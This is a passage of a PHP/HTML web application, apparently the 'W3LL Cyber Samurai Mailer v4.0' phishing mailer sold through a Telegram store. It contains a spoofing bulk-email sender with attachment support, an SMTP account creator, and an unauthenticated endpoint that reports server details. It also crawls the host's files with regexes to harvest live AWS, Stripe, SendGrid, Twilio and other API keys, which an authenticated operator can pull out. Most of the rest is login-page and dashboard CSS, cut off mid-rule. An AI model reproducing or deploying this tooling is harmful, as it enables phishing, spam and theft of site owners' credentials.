            $fileContent = chunk_split(base64_encode(file_get_contents($attachment['path'])));
            $body .= "--$boundary\r\n";
            $body .= "Content-Type: " . $attachment['type'] . "; name=\"" . $attachment['name'] . "\"\r\n";
            $body .= "Content-Disposition: attachment; filename=\"" . $attachment['name'] . "\"\r\n";
            $body .= "Content-Transfer-Encoding: base64\r\n\r\n";
            $body .= $fileContent . "\r\n";
        }
    }
   
    $body .= "--$boundary--\r\n";
   
    return @mail($to, $subject, $body, $headers);
}
// Rate limiting check
function checkRateLimit() {
    global $config;
    if (!$config['enable_rate_limiting']) {
        return true;
    }
    $currentTime = time();
    if (!isset($_SESSION['rate_limit'])) {
        $_SESSION['rate_limit'] = array();
    }
    $_SESSION['rate_limit'] = array_filter($_SESSION['rate_limit'], function($timestamp) use ($currentTime, $config) {
        return ($currentTime - $timestamp) < $config['rate_limit_window'];
    });
    $requestCount = count($_SESSION['rate_limit']);
    if ($requestCount >= $config['rate_limit_requests']) {
        return false;
    }
    $_SESSION['rate_limit'][] = $currentTime;
    return true;
}
// Updated API Patterns for Extraction (Expanded with more services)
$apiPatterns = [
    'AWS Access Key' => '/AKIA[0-9A-Z]{16}/i',
    'AWS Secret Key' => '/[0-9a-zA-Z\/+]{40}/i',
    'Amazon MWS Auth Token' => '/amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i',
    'SendGrid API Key' => '/SG\.[0-9A-Za-z\\-_]{22}\\.[0-9A-Za-z\\-_]{43}/i',
    'Twilio API Key' => '/SK[0-9a-fA-F]{32}/i',
    'Nexmo/Vonage API Key' => '/[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/i',
    'Stripe API Key' => '/sk_live_[0-9a-zA-Z]{24}/i',
    'Stripe Restricted Key' => '/rk_live_[0-9a-zA-Z]{24}/i',
    'PayPal Braintree Access Token' => '/access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}/i',
    'Square Access Token' => '/sq0atp-[0-9A-Za-z\\-_]{22}/i',
    'Square OAuth Secret' => '/sq0csp-[0-9A-Za-z\\-_]{43}/i',
    'Picatic API Key' => '/sk_live_[0-9a-z]{32}/i',
    'Mailgun API Key' => '/key-[0-9a-zA-Z]{32}/i',
    'Brevo API Key' => '/xkeysib-[a-f0-9]{64}-[A-Za-z0-9_-]{40}/i'
];
// Website Scanning Function for API Extraction
function scanWebsiteForAPIs($dir = '.', $maxDepth = 5, $currentDepth = 0) {
    global $apiPatterns;
    $extracted = [];
    if ($currentDepth > $maxDepth || !is_dir($dir)) return $extracted;
   
    // Skip sensitive/system folders for security
    $skipFolders = ['/proc', '/sys', '/dev', '/etc', '/var/log', '.git', 'vendor'];
    foreach ($skipFolders as $skip) {
        if (strpos($dir, $skip) !== false) return $extracted;
    }
   
    $files = scandir($dir);
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $path = $dir . '/' . $file;
        if (is_dir($path)) {
            $extracted = array_merge_recursive($extracted, scanWebsiteForAPIs($path, $maxDepth, $currentDepth + 1));
        } elseif (is_file($path) && is_readable($path) && filesize($path) < 1048576) { // Limit file size to 1MB
            $content = file_get_contents($path);
            foreach ($apiPatterns as $type => $pattern) {
                if (preg_match_all($pattern, $content, $matches)) {
                    $extracted[$type] = array_unique(array_merge($extracted[$type] ?? [], $matches[0]));
                }
            }
        }
    }
    return $extracted;
}
// Handle AJAX requests
if(isset($_GET['create_smtp']) && $_GET['create_smtp'] == '1') {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    if(!checkRateLimit()) {
        echo json_encode(array('success' => false, 'message' => 'Rate limit exceeded'));
        exit;
    }
    $method = isset($_GET['method']) ? $_GET['method'] : 'auto';
    $result = createSMTPAccount($method);
    echo json_encode($result);
    exit;
}
// Get SMTP accounts
if(isset($_GET['get_smtp_accounts']) && $_GET['get_smtp_accounts'] == '1') {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $accounts = getAllSMTPAccounts();
    echo json_encode(array('success' => true, 'accounts' => $accounts));
    exit;
}
// Delete SMTP account
if(isset($_GET['delete_smtp']) && !empty($_GET['id'])) {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $id = $_GET['id'];
    $result = deleteSMTPAccount($id);
    echo json_encode(array('success' => $result, 'message' => $result ? 'Account deleted' : 'Account not found'));
    exit;
}
// Test SMTP account
if(isset($_GET['test_smtp_account']) && !empty($_GET['id'])) {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $id = $_GET['id'];
    $testEmail = isset($_GET['test_email']) ? $_GET['test_email'] : '';
    $result = testSMTPAccount($id, $testEmail);
    echo json_encode($result);
    exit;
}
// SMTP Test endpoint with test email
if (isset($_GET['test_smtp'])) {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $host = isset($_GET['host']) ? $_GET['host'] : '';
    $port = intval(isset($_GET['port']) ? $_GET['port'] : 587);
    $auth_username = isset($_GET['email']) ? $_GET['email'] : '';
    $pass = isset($_GET['pass']) ? $_GET['pass'] : '';
    $encryption = isset($_GET['encryption']) ? $_GET['encryption'] : 'tls';
    $testEmail = isset($_GET['test_email']) ? $_GET['test_email'] : '';
    $result = testSMTPConnection($host, $port, $auth_username, $pass, $encryption, $testEmail, $auth_username);
    echo json_encode($result);
    exit;
}
// Handle API Extractor (text-based)
if (isset($_GET['extract_apis']) && $_GET['extract_apis'] == '1') {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $text = isset($_POST['text']) ? $_POST['text'] : '';
    if (empty($text)) {
        echo json_encode(array('success' => false, 'message' => 'No text provided for extraction'));
        exit;
    }
    global $apiPatterns;
    $extracted = array();
    foreach ($apiPatterns as $type => $pattern) {
        preg_match_all($pattern, $text, $matches);
        if (!empty($matches[0])) {
            $extracted[$type] = array_unique($matches[0]);
        }
    }
    echo json_encode(array('success' => true, 'extracted' => $extracted));
    exit;
}
// Handle Website Scan for APIs
if (isset($_GET['scan_site']) && $_GET['scan_site'] == '1') {
    header('Content-Type: application/json');
    if(!$authenticated) {
        echo json_encode(array('success' => false, 'message' => 'Authentication required'));
        exit;
    }
    $extracted = scanWebsiteForAPIs(__DIR__);
    $hasApis = !empty($extracted);
    echo json_encode(array('success' => true, 'extracted' => $extracted, 'has_apis' => $hasApis));
    exit;
}
// Handle API health check
if (isset($_GET['valid'])) {
    header('Content-Type: application/json');
    $smtp_accounts = getAllSMTPAccounts();
    $working_count = 0;
    $total_count = count($smtp_accounts);
    foreach ($smtp_accounts as $account) {
        if (isset($account['status']) && $account['status'] === 'active') {
            $working_count++;
        }
    }
    $healthCheck = array(
        'status' => 'active',
        'mailer' => 'w3ll_cyber_samurai_v4.0_legitimate',
        'info' => true,
        'smtp_factory' => true,
        'smtp_accounts' => array(
            'total' => $total_count,
            'working' => $working_count,
            'success_rate' => $total_count > 0 ? round(($working_count / $total_count) * 100, 2) : 0
        ),
        'delivery_test' => function_exists('mail') && (ini_get('sendmail_path') || ini_get('SMTP')),
        'smtp_support' => function_exists('fsockopen') && function_exists('stream_socket_enable_crypto'),
        'legitimate_creation' => true,
        'checker_compatible' => true,
        'w3ll_signature' => 'W3LL_CYBER_SAMURAI_LEGITIMATE_V4.0',
        'last_check' => date('Y-m-d H:i:s'),
        'response_time' => round(microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'], 3),
        'server_info' => array(
            'php_version' => phpversion(),
            'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown',
            'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'Unknown',
            'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown'),
            'max_execution_time' => ini_get('max_execution_time'),
            'memory_limit' => ini_get('memory_limit')
        )
    );
    echo json_encode($healthCheck, JSON_PRETTY_PRINT);
    exit;
}
// Process form
$formData = array();
$results = array();
if ($_POST && $authenticated) {
    if (!checkRateLimit()) {
        $results['error'] = 'Rate limit exceeded. Please wait before sending more emails.';
    } else {
        // Sanitize and validate form data
        $formData = array(
            'senderEmail' => sanitizeEmail(isset($_POST['senderEmail']) ? $_POST['senderEmail'] : ''),
            'senderName' => sanitizeInput(isset($_POST['senderName']) ? $_POST['senderName'] : ''),
            'replyTo' => sanitizeEmail(isset($_POST['replyTo']) ? $_POST['replyTo'] : ''),
            'subject' => sanitizeInput(isset($_POST['subject']) ? $_POST['subject'] : ''),
            'emailList' => trim(isset($_POST['emailList']) ? $_POST['emailList'] : ''),
            'messageType' => intval(isset($_POST['messageType']) ? $_POST['messageType'] : 1),
            'messageLetter' => isset($_POST['messageLetter']) ? $_POST['messageLetter'] : '',
            'useSmtp' => intval(isset($_POST['useSmtp']) ? $_POST['useSmtp'] : 0),
            'smtpHost' => sanitizeInput(isset($_POST['smtpHost']) ? $_POST['smtpHost'] : ''),
            'smtpPort' => intval(isset($_POST['smtpPort']) ? $_POST['smtpPort'] : 587),
            'smtpAuthUsername' => sanitizeEmail(isset($_POST['smtpEmail']) ? $_POST['smtpEmail'] : ''), // Renamed for clarity
            'smtpPassword' => isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : '',
            'smtpEncryption' => sanitizeInput(isset($_POST['smtpEncryption']) ? $_POST['smtpEncryption'] : 'tls')
        );
   
        // Validation
        $errors = array();
        if (empty($formData['senderEmail'])) $errors[] = 'Sender email is required';
        if (empty($formData['senderName'])) $errors[] = 'Sender name is required';
        if (empty($formData['subject'])) $errors[] = 'Subject is required';
        if (empty($formData['messageLetter'])) $errors[] = 'Message content is required';
        if (empty($formData['emailList'])) $errors[] = 'Email list is required';
   
        if ($formData['useSmtp']) {
            if (empty($formData['smtpHost'])) $errors[] = 'SMTP host is required';
            if (empty($formData['smtpAuthUsername'])) $errors[] = 'SMTP username is required';
            if (empty($formData['smtpPassword'])) $errors[] = 'SMTP password is required';
        }
   
        if (!empty($errors)) {
            $results['errors'] = $errors;
        } else {
            // Process attachments
            $attachments = [];
            if (!empty($_FILES['attachments']['name'][0])) {
                foreach ($_FILES['attachments']['tmp_name'] as $key => $tmpName) {
                    if ($_FILES['attachments']['error'][$key] === 0) {
                        $attachments[] = [
                            'path' => $tmpName,
                            'name' => $_FILES['attachments']['name'][$key],
                            'type' => $_FILES['attachments']['type'][$key]
                        ];
                    }
                }
            }
            // Process email sending
            $emailList = array_filter(array_map('trim', explode("\n", str_replace("\r", "", $formData['emailList']))));
            $totalEmails = count($emailList);
            $sentCount = 0;
            $failedCount = 0;
            $results['details'] = array();
       
            // Set max based on method
            $maxEmails = $formData['useSmtp'] ? $config['smtp_max_emails'] : $config['server_max_emails'];
       
            // SMTP Configuration
            $smtpConfig = null;
            if ($formData['useSmtp']) {
                $smtpConfig = array(
                    'host' => $formData['smtpHost'],
                    'port' => $formData['smtpPort'],
                    'auth_username' => $formData['smtpAuthUsername'],
                    'password' => $formData['smtpPassword'],
                    'encryption' => $formData['smtpEncryption']
                );
            }
       
            // Send emails
            foreach ($emailList as $index => $email) {
                $email = sanitizeEmail($email);
                if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
                    $results['details'][] = array(
                        'email' => $email,
                        'status' => 'invalid',
                        'message' => 'Invalid email format'
                    );
                    $failedCount++;
                    continue;
                }
           
                // Process variables
                $personalizedSubject = clearText($formData['subject'], $email);
                $personalizedMessage = clearText($formData['messageLetter'], $email);
                $personalizedSender = clearText($formData['senderEmail'], $email);
                $personalizedName = clearText($formData['senderName'], $email);
                $personalizedReply = clearText($formData['replyTo'] ? $formData['replyTo'] : $formData['senderEmail'], $email);
           
                $success = false;
                $errorMessage = '';
           
                try {
                    if ($formData['useSmtp'] && $smtpConfig) {
                        $success = sendEmailSMTP($email, $personalizedSender, $personalizedName,
                                               $personalizedReply, $personalizedSubject,
                                               $personalizedMessage, $smtpConfig, $formData['messageType'] == 1, $attachments);
                    } else {
                        $success = sendEmailPHP($email, $personalizedSender, $personalizedName,
                                              $personalizedReply, $personalizedSubject,
                                              $personalizedMessage, $formData['messageType'] == 1, $attachments);
                    }
                } catch (Exception $e) {
                    $errorMessage = $e->getMessage();
                }
           
                if ($success) {
                    $results['details'][] = array(
                        'email' => $email,
                        'status' => 'sent',
                        'message' => 'Successfully sent'
                    );
                    $sentCount++;
                } else {
                    $results['details'][] = array(
                        'email' => $email,
                        'status' => 'failed',
                        'message' => $errorMessage ? $errorMessage : 'Failed to send'
                    );
                    $failedCount++;
                }
           
                // Add delay between emails
                if ($config['delay_between_emails'] > 0) {
                    usleep($config['delay_between_emails'] * 1000000);
                }
           
                // Break if max emails reached
                if ($sentCount >= $maxEmails) {
                    break;
                }
            }
       
            $results['summary'] = array(
                'total' => $totalEmails,
                'sent' => $sentCount,
                'failed' => $failedCount,
                'success_rate' => $totalEmails > 0 ? round(($sentCount / $totalEmails) * 100, 2) : 0,
                'method' => $formData['useSmtp'] ? 'SMTP' : 'PHP Mail',
                'completed_at' => date('Y-m-d H:i:s')
            );
       
            // Log the execution
            if ($config['enable_logging']) {
                $logEntry = date('Y-m-d H:i:s') . " - Email Campaign: Total=$totalEmails, Sent=$sentCount, Failed=$failedCount, Method=" . ($formData['useSmtp'] ? 'SMTP' : 'PHP') . ", IP=" . getClientIP() . "\n";
                @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX);
            }
        }
    }
}
// Show login form if not authenticated
if (!$authenticated) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚔️ W3LL Cyber Samurai Mailer v4.0 - Authentication</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #00ff88;
            --secondary: #ff0080;
            --tertiary: #0080ff;
            --dark: #0a0a0a;
            --card: #1a1a2e;
            --gold: #ffd700;
            --red: #ff3333;
            --text: #ffffff;
            --text-dim: #b0b0b0;
        }
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Inter', sans-serif;
            background: linear-gradient(135deg, var(--dark) 0%, #16213e 50%, var(--card) 100%);
            color: var(--text);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            position: relative;
            overflow: hidden;
        }
        body::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grid" width="10" height="10" patternUnits="userSpaceOnUse"><path d="M 10 0 L 0 0 0 10" fill="none" stroke="%23ffffff" stroke-width="0.1" opacity="0.1"/></pattern></defs><rect width="100" height="100" fill="url(%23grid)"/></svg>');
            z-index: -1;
        }
        .login-container {
            background: rgba(26, 26, 46, 0.9);
            backdrop-filter: blur(20px);
            border-radius: 20px;
            border: 2px solid rgba(0, 255, 136, 0.3);
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
            padding: 40px;
            max-width: 450px;
            width: 90%;
            text-align: center;
            position: relative;
            animation: slideUp 0.8s ease;
        }
        @keyframes slideUp {
            from {
                opacity: 0;
                transform: translateY(50px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        .logo {
            font-size: 2.5rem;
            font-weight: 700;
            background: linear-gradient(135deg, var(--primary), var(--tertiary));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            margin-bottom: 10px;
            text-shadow: 0 0 30px rgba(0, 255, 136, 0.3);
        }
        .subtitle {
            color: var(--text-dim);
            margin-bottom: 30px;
            font-size: 1.1rem;
            font-weight: 300;
        }
        .japanese-text {
            color: var(--gold);
            font-size: 0.9rem;
            margin-bottom: 30px;
            opacity: 0.8;
        }
        .form-group {
            margin-bottom: 25px;
            text-align: left;
        }
        .form-label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
            color: var(--primary);
        }
        .form-input {
            width: 100%;
            padding: 15px 20px;
            background: rgba(0, 0, 0, 0.4);
            border: 2px solid rgba(0, 255, 136, 0.3);
            border-radius: 12px;
            color: var(--text);
            font-size: 1rem;
            transition: all 0.3s ease;
            font-family: inherit;
        }
        .form-input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 20px rgba(0, 255, 136, 0.2);
            background: rgba(0, 0, 0, 0.5);
        }
        .btn-login {
            width: 100%;
            padding: 15px;
            background: linear-gradient(135deg, var(--primary), var(--tertiary));
            border: none;
            border-radius: 12px;
            color: var(--dark);
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        .btn-login:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 30px rgba(0, 255, 136, 0.4);
        }
        .error-message {
            background: rgba(255, 51, 51, 0.1);
            border: 1px solid var(--red);
            color: var(--red);
            padding: 15px;
            border-radius: 10px;
            margin-bottom: 20px;
            font-weight: 500;
            animation: shake 0.5s ease;
        }
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-5px); }
            75% { transform: translateX(5px); }
        }
        .footer-info {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid rgba(0, 255, 136, 0.2);
            font-size: 0.9rem;
            color: var(--text-dim);
        }
        .social-links {
            margin-top: 15px;
        }
        .social-links a {
            color: var(--primary);
            text-decoration: none;
            margin: 0 10px;
            transition: color 0.3s ease;
        }
        .social-links a:hover {
            color: var(--gold);
        }
        .security-badge {
            display: inline-block;
            background: rgba(0, 255, 136, 0.1);
            border: 1px solid var(--primary);
            padding: 5px 15px;
            border-radius: 20px;
            font-size: 0.8rem;
            margin-top: 15px;
            color: var(--primary);
        }
    </style>
</head>
<body>
    <div class="login-container">
        <div class="logo">⚔️ W3LL SAMURAI</div>
        <div class="subtitle">Cyber Mailer v4.0 - Legitimate SMTP Edition</div>
        <div class="japanese-text">サイバー侍 - 正統なメール配信システム</div>
   
        <?php if (isset($loginError)): ?>
            <div class="error-message"><?php echo $loginError; ?></div>
        <?php endif; ?>
   
        <form method="post">
            <div class="form-group">
                <label class="form-label">🔐 Access Password</label>
                <input type="password" name="password" class="form-input" placeholder="Enter your access password" required>
            </div>
       
            <button type="submit" class="btn-login">🚀 Access Mailer</button>
        </form>
   
        <div class="security-badge">🛡️ Secured with Advanced Authentication</div>
   
        <div class="footer-info">
            <strong>W3LL Store Technology</strong><br>
            Professional Email Marketing Solutions
            <div class="social-links">
                <a href="https://w3llstore.com" target="_blank">🌐 Website</a>
                <a href="https://t.me/W3LLSTORE_ADMIN" target="_blank">📱 Telegram</a>
            </div>
        </div>
    </div>
</body>
</html>
<?php
    exit;
}
// Main application interface
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚔️ W3LL Cyber Samurai Mailer v4.0 - Legitimate SMTP Edition</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    <style>
        :root {
            --primary: #00ff88;
            --secondary: #ff0080;
            --tertiary: #0080ff;
            --dark: #0a0a0a;
            --card: #1a1a2e;
            --gold: #ffd700;
            --red: #ff3333;
            --text: #ffffff;
            --text-dim: #b0b0b0;
            --success: #00ff88;
            --warning: #ffaa00;
            --info: #0080ff;
        }
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Inter', sans-serif;
            background: linear-gradient(135deg, var(--dark) 0%, #16213e 50%, var(--card) 100%);
            color: var(--text);
            min-height: 100vh;
            position: relative;
            overflow-x: hidden;
        }
        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grid" width="10" height="10" patternUnits="userSpaceOnUse"><path d="M 10 0 L 0 0 0 10" fill="none" stroke="%23ffffff" stroke-width="0.1" opacity="0.05"/></pattern></defs><rect width="100" height="100" fill="url(%23grid)"/></svg>');
            z-index: -1;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 20px;
        }
        .header {
            background: rgba(26, 26, 46, 0.9);
            backdrop-filter: blur(20px);
            border-radius: 20px;
            border: 2px solid rgba(0, 255, 136, 0.3);
            padding: 30px;
            margin-bottom: 30px;
            text-align: center;
            position: relative;
            overflow: hidden;
        }
        .header::before {
            content: '';
            position: absolute;
            top: -50%;
            left: -50%;
            width: 200%;
            height: 200%;
            background: linear-gradient(45deg, transparent, rgba(0, 255, 136, 0.05), transparent);
            animation: rotate 10s linear infinite;
        }
        @keyframes rotate {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .header-content {
            position: relative;
            z-index: 1;
        }
        .logo {
            font-size: 3rem;
            font-weight: 700;
            background: linear-gradient(135deg, var(--primary), var(--tertiary));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            margin-bottom: 10px;
            text-shadow: 0 0 30px rgba(0, 255, 136, 0.3);
        }
        .subtitle {
            color: var(--text-dim);
            font-size: 1.2rem;
            margin-bottom: 15px;
        }
        .japanese-text {
            color: var(--gold);
            font-size: 1rem;
            margin-bottom: 20px;
            opacity: 0.8;
        }
        .stats-bar {
            display: flex;
            justify-content: space-around;
            flex-wrap: wrap;
            gap: 20px;
            margin-top: 20px;
        }
        .stat-item {
            text-align: center;
            padding: 15px;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            border: 1px solid rgba(0, 255, 136, 0.2);
            min-width: 120px;
        }
        .stat-number {
            font-size: 1.5rem;
            font-weight: 700;
            color: var(--primary);
        }
        .stat-label {
            font-size: 0.9rem;
            color: var(--text-dim);
            margin-top: 5px;
        }
        .main-content {
            display: grid;
            grid-template-columns: 1fr 400px;
            gap: 30px;
            margin-bottom: 30px;
        }
        @media (max-width: 1200px) {
            .main-content {
                grid-template-columns: 1fr;
            }
        }
        .card {
            background: rgba(26, 26, 46, 0.9);
            backdrop-filter: blur(20px);
            border-radius: 20px;
            border: 2px solid rgba(0, 255, 136, 0.3);
            padding: 30px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
        }
        .card-header {
            display: flex;
            align-items: center;
            margin-bottom: 25px;
            padding-bottom: 15px;
            border-bottom: 1px solid rgba(0, 255, 136, 0.2);
        }
        .card-icon {
            font-size: 1.5rem;
            margin-right: 15px;
            color: var(--primary);
        }
        .card-title {
            font-size: 1.3rem;
            font-weight: 600;
            color: var(--text);
        }
        .form-group {
            margin-bottom: 20px;
        }
        .form-label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
            color: var(--primary);
            font-size: 0.95rem;
        }
        .form-input, .form-select, .form-textarea {
            width: 100%;
            padding: 12px 16px;
            background: rgba(0, 0, 0, 0.4);
            border: 2px solid rgba(0, 255, 136, 0.3);
            border-radius: 10px;
            color: var(--text);
            font-size: 0.95rem;
            transition: all 0.3s ease;
            font-family: inherit;
        }
        .form-input:focus, .form-select:focus, .form-textarea:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 15px rgba(0, 255, 136, 0.2);
            background: rgba(0, 0, 0, 0.5);
        }
        .form-textarea {
            min-height: 120px;
            resize: vertical;
            font-family: 'Courier New', monospace;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 15px;
        }
        @media (max-width: 768px) {
            .form-row {
                grid-template-columns: 1fr;
            }
        }
        .btn {
            padding: 12px 24px;
            border: none;
            border-radius: 10px;
            font-size: 0.95rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            text-align: center;
            justify-content: center;
        }
        .btn-primary {
            background: linear-gradient(135deg, var(--primary), var(--tertiary));
            color: var(--dark);
        }
        .btn-secondary {
            background: linear-gradient(135deg, var(--secondary), var(--gold));
            color: var(--text);
        }
        .btn-success {
            background: linear-gradient(135deg, var(--success), #00cc66);
            color: var(--dark);
        }
        .btn-warning {
            background: linear-gradient(135deg, var(--warning), #ff8800);
            color: var(--dark);
        }
        .btn-danger {
            background: linear-gradient(135deg, var(--red), #cc0000);
            color: var(--text);
        }
        .btn-info {
            background: linear-gradient(135deg, var(--info), #0066cc);
            color: var(--text);
        }
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3);
        }
        .btn:active {
            transform: translateY(0);
        }
        .btn-full {
            width: 100%;
            margin-top: 10px;
        }
        .smtp-section {
            margin-top: 20px;
            padding: 20px;
            background: rgba(0, 0, 0, 0.2);
            border-radius: 15px;
            border: 1px solid rgba(0, 255, 136, 0.2);
        }
        .smtp-toggle {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
        }
        .toggle-switch {
            position: relative;
            width: 60px;
            height: 30px;
            margin-right: 15px;
        }
        .toggle-switch input {
            opacity: 0;
            width: 0;
            height: 0;
        }
        .toggle-slider {
            position: absolute;
            cursor: pointer;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(255, 255, 255, 0.2);
            transition: 0.3s;
            border-radius: 30px;
        }
        .toggle-slider:before {
            position: absolute;
            content: "";
            height: 22px;
            width: 22px;
            left: 4px;
            bottom: 4px;
            background: white;
            transition: 0.3s;
            border-radius: 50%;
        }
        input:checked + .toggle-slider {
            background: var(--primary);
        }
        input:checked + .toggle-slider:before {
            transform: translateX(30px);
        }
        .smtp-fields {
            display: none;
            animation: fadeIn 0.3s ease;
        }
        .smtp-fields.active {
            display: block;
        }
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        .alert {
            padding: 15px 20px;
            border-radius: 10px;
            margin-bottom: 20px;
            border-left: 4px solid;
            font-weight: 500;
        }
        .alert-success {
            background: rgba(0, 255, 136, 0.1);
            border-color: var(--success);
            color: var(--success);
        }
        .alert-error {
            background: rgba(255, 51, 51, 0.1);
            border-color: var(--red);
            color: var(--red);
        }
        .alert-warning {
            background: rgba(255, 170, 0, 0.1);
            border-color: var(--warning);
            color: var(--warning);
        }
        .alert-info {
            background: rgba(0, 128, 255, 0.1);
            border-color: var(--info);
            color: var(--info);
        }
        .results-container {
            margin-top: 30px;
        }
        .results-summary {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }
        .summary-card {
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            padding: 20px;
            text-align: center;
            border: 1px solid rgba(0, 255, 136, 0.2);
        }
        .summary-number {
            font-size: 2rem;
            font-weight: 700;
            margin-bottom: 5px;
        }
        .summary-label {
            color: var(--text-dim);
            font-size: 0.9rem;
        }
        .results-table {
            background: rgba(0, 0, 0, 0.2);
            border-radius: 15px;
            overflow: hidden;
            border: 1px solid rgba(0, 255, 136, 0.2);
        }
        .table-header {
            background: rgba(0, 255, 136, 0.1);
            padding: 15px 20px;
            font-weight: 600;
            border-bottom: 1px solid rgba(0, 255, 136, 0.2);
        }
        .table-body {
            max-height: 400px;
            overflow-y: auto;
        }
        .table-row {
            display: grid;
            grid-template-columns: 2fr 1fr 3fr;
            padding: 12px 20px;
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
            align-items: center;
        }
        .table-row:hover {
            background: rgba(0, 255, 136, 0.05);
        }
        .status-badge {
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.8rem;
            font-weight: 600;
            text-align: center;
        }
        .status-sent {
            background: rgba(0, 255, 136, 0.2);
            color: var(--success);
        }
        .status-failed {
            background: rgba(255, 51, 51, 0.2);
            color: var(--red);
        }
        .status-invalid {
            background: rgba(255, 170, 0, 0.2);
            color: var(--warning);
        }
        /* SMTP Creator Sidebar Styles */
        .smtp-creator {
            position: sticky;
            top: 20px;
            height: fit-content;
        }
        .smtp-accounts-list {
            max-height: 400px;
            overflow-y: auto;
            margin-top: 20px;
        }
        .smtp-account-item {
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            padding: 15px;
            margin-bottom: 15px;
            border: 1px solid rgba(0, 255, 136, 0.2);
            transition: all 0.3s ease;
        }
        .smtp-account-item:hover {
            border-color: var(--primary);
            background: rgba(0, 0, 0, 0.4);
        }
        .smtp-account-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 10px;
        }
        .smtp-account-email {
            font-weight: 600;
            color: var(--primary);
            font-size: 0.9rem;
        }
        .smtp-account-method {
            font-size: 0.8rem;
            color: var(--text-dim);
            background: rgba(0, 255, 136, 0.1);
            padding: 2px 8px;
            border-radius: 12px;
        }
        .smtp-account-details {
            font-size: 0.85rem;
            color: var(--text-dim);
            margin-bottom: 10px;
        }
        .smtp-account-actions {
            display: flex;
            gap: 8px;
        }
        .btn-small {
            padding: 6px 12px;
            font-size: 0.8rem;
